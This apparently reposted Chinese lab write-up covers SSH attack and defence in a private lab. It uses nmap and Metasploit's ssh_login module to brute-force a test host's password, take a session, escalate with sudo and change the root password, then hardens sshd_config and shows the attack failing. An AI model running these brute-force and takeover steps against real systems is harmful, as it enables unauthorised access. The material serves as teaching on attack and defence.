码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 网络安全: Kali Linux 进行 SSH 渗透与防御


    目录

     一、实验

    1.环境

    2.nmap扫描目标主机

    3.Kali Linux 进行 SSH 渗透

    3.Kali Linux 进行 SSH 防御 

    二、问题

    1.SSH有哪些安全配置


     一、实验

    1.环境

    (1)主机

    表1  主机

    系统版本IP备注
    Kali Linux2022.4

    192.168.204.154(动态)

    Ubuntu8.04192.168.204.143Kali(2022.4)的目标主机

    (2)查看Kali Linux (2022.4)系统版本

    cat /etc/os-release
    

    (3) 查看Kali Linux (2022.4)系统IP地址

    ip addr | grep 154

    (4)查看Ubuntu 8.04 系统版本及IP地址

    lsb_release -a

    ip addr

    2.nmap扫描目标主机

    (1)扫描⽬标主机所在⽹段所有存活的主机

     nmap -sP 192.168.204.0/24

    (2)扫描⽬标主机所有开放端⼝对应的服务和软件版本

    22端口已开放

    nmap -sV 192.168.204.143

    3.Kali Linux 进行 SSH 渗透

    (1)进入MSF 控制台

    msfconsole

    (2) 搜索 ssh_login脚本

    search ssh_login

    (3) 使⽤编号为 0 的脚本

    use 0

    (4) 设置⽬标主机

     set rhosts 192.168.204.143

    (4)查看选项

    show options

    (5)设置用户名与密码本

     set username msfadmin

    set pass_file zidian.txt

    (6)运⾏脚本

    run 

    (7)查看会话

    sessions

    (8)连接会话

    sessions 1

    查看用户身份

    whoami

    查看路径

    pwd

    提升权限

     sudo -i

     再次查看用户身份

    whoami

    更改密码

    password root

    (9)MobaXterm远程连接

    连接

    3.Kali Linux 进行 SSH 防御 

    (1)SSH安全配置(端口)

    vim /etc/ssh/sshd_config

    修改端口

    (2)重启

    /etc/init.d/ssh  restart

    (3)退出之前的MSF

     (5)进入MSF 控制台

    msfconsole

     (6) 搜索 ssh_login脚本

    search ssh_login

    (6) 使⽤编号为 0 的脚本

    use 0

    (7) 设置⽬标主机

     set rhosts 192.168.204.143

     (8)设置用户名与密码本

     set username msfadmin

    set pass_file zidian.txt

     (9)运⾏脚本

    失败

    run 

    (10)nmap扫描端口

    ssh端口为12345

    nmap -sV 192.168.204.143

    (11)查看选项

    show options

    (12) 设置目标端口

    set rport 12345

     (13)运⾏脚本

    run 

    ( 14)SSH安全配置(端口)

    vim /etc/ssh/sshd_config

    修改登录验证时间

     (15)重启

    /etc/init.d/ssh  restart

    (16)验证(等待1分钟)

      (17)SSH安全配置(容错次数)

    vim /etc/ssh/sshd_config

    修改容错次数

     (18)重启

    /etc/init.d/ssh  restart

    (19)容错2次

    二、问题

    1.SSH有哪些安全配置

    (1)配置

    1. Port 12345 //端口
    2. LoginGraceTime 1m //登录验证耗时
    3. PermitRootLogin no //不允许root远程登录
    4. MaxAuthTries 2 //最大容错次数2
    5. AllowUsers msfadmin@192.168.204.100 //允许指定用户在指定IP上登录

    2.MSF 退出报错

    (1)报错

    [*] You have active sessions open, to exit anyway type "exit -y"
    

    (2)原因分析

    有session会话正在运行。

    (3)解决方法

    exit -y

  • 相关阅读:
    230. Kth Smallest Element in a BST
    基于springboot+vue的家政服务预约管理系统 elementui
    windows环境下PHP7.4多线程设置
    idea开发工具常用的插件合集汇总
    二级医院绩效考核系统源码,针对院内实际情况,可对考核方案进行灵活配置
    【python科学文献计量】关于中国知网检索策略的验证,以事故伤害严重程度检索为例
    你应该了解的10个 Kubernetes 安全上下文设置[译]
    docker mysql 提示 Warning: World-writable config file ‘/etc/my.cnf’ is ignored
    恶补了 Python 装饰器的八种写法,你随便问~
    做对这 6 件事,提高软件测试的能力?
  • 原文地址:https://blog.csdn.net/cronaldo91/article/details/136507797
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号